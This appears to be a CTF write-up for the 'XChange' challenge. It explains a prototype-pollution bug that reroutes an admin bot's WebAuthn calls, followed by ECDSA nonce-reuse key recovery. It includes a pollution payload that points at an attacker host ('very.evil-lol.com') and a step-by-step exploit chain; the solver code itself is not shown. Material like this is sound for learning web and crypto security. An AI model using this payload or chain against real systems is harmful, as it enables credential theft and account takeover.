The challenge essentially aims to test users on how they can break and navigate WebauthN, which is not that common of protocol in ctf challenges but still interesting to explore.
XChange is a simulated BTC exchange. Auth is WebAuthn-only (passkeys, via webauthn-rs on the backend and @simplewebauthn/browser on the frontend). The flag sits behind /api/flag, which requires a balance of 5,000,000 BTC (a virtual barrier, you basically need to become admin and use /api/admin/add_funds).
There’s no way to log in as admin through the normal UI: admin is a reserved username, and the account’s one passkey was registered automatically on challenge startup and seeded directly in the db. The only route to admin is through a human-in-the-loop admin bot reachable via Settings → Report an issue → Authentication issue, which POSTs a player-supplied URL (kinda, it defaults to the challenge url but you can redirect the bot easily with a prototype pollution) to /report:
|
|
This spawns a real headless Chromium (bot/bot.js, via Playwright) that navigates to the given URL (rewritten onto the internal BOT_FRONTEND_URL host), registers a throwaway account, and logs in — using a forged WebAuthn implementation that signs with the real admin private key. The bug chain is about hijacking that bot.
Bug 1 client-side prototype pollution
This is just a basic first layer so the challenge isn’t trivial.
App.tsx runs this on every page load, before React even mounts:
|
|
JSON.parse('{"__proto__":{"baseURL":"..."}}') produces an object with a literal own property named "__proto__" (via JSON.parse’s internal CreateDataProperty, not the [[Set]] trap. This is exactly why it has to go through JSON.parse and can’t be written as a plain object literal, where an unquoted __proto__: key sets the prototype instead of creating a property).
deepMerge({}, parsed) then recurses into deepMerge(target["__proto__"], source["__proto__"]) and reading target["__proto__"] does go through the real accessor, handing back Object.prototype itself.
The inner assignment target["baseURL"] = "..." is just a normal property name, so it pollutes Object.prototype.baseURL for the rest of the page’s lifetime.
lib/auth.tsx reads exactly that property for every WebAuthn network call:
|
|
So ?settings={"__proto__":{"baseURL":"https://very.evil-lol.com"}} on any path redirects every register_start/register_finish/login_start/login_finish call the page makes to that url which you can control easily, including when the admin bot loads that page.
Bug 2 static ECDSA nonce in the forged signature
This is the crypto part of the challenge, which as you will see isn’t as complicated as many players came crying about in tickets lol.
report_handler rewrites the player’s URL to the internal host but keeps the query string, so ?settings=... survives. bot.js forces the path to /auth but also keeps the query string intact, so the bot lands on /auth?settings=... with the pollution live before it ever registers or logs in.
The bot’s login step forges a WebAuthn assertion signed by the real admin key:
|
|
The ECDSA nonce k is forced to a value derived only from rp_id, not from the message. Since the bot’s own page always navigates to the same internal host, rp_id (which defaults to document.domain when the attacker doesn’t override it) is identical on every /report run so k is identical on every run too.
Two signatures sharing k (and therefore the same r) over two different messages is the textbook ECDSA nonce-reuse case:
Exploit chain
- Stand up a public collector (any HTTP server reachable from the challenge’s backend a Cloudflare Quick Tunnel,
ngrok,localtunnel, or a real VPS all work equally well.) - Serve fake
register_start/register_finish/login_startresponses (any syntactically valid WebAuthn options), and capture whatever gets POSTed tologin_finish. - Trigger
/reporttwice withurl = FRONTEND_URL + "/x?settings=" + encodeURIComponent('{"__proto__":{"baseURL":"your-domain"}}'). - From the two captured assertions, recompute
z = SHA256(authenticatorData || SHA256(clientDataJSON)), parse(r, s)out of the DER signature, confirm both sharer, and solve forkandd. - With
dknown, build one completely ordinary, valid ECDSA login assertion directly against the real backend’s real.login_start/RP_ID/origin and log in asadminfor real. POST /api/admin/add_fundsto mint BTC toadmin, thenPOST /api/flag.
Solver
Click to expand code
|
|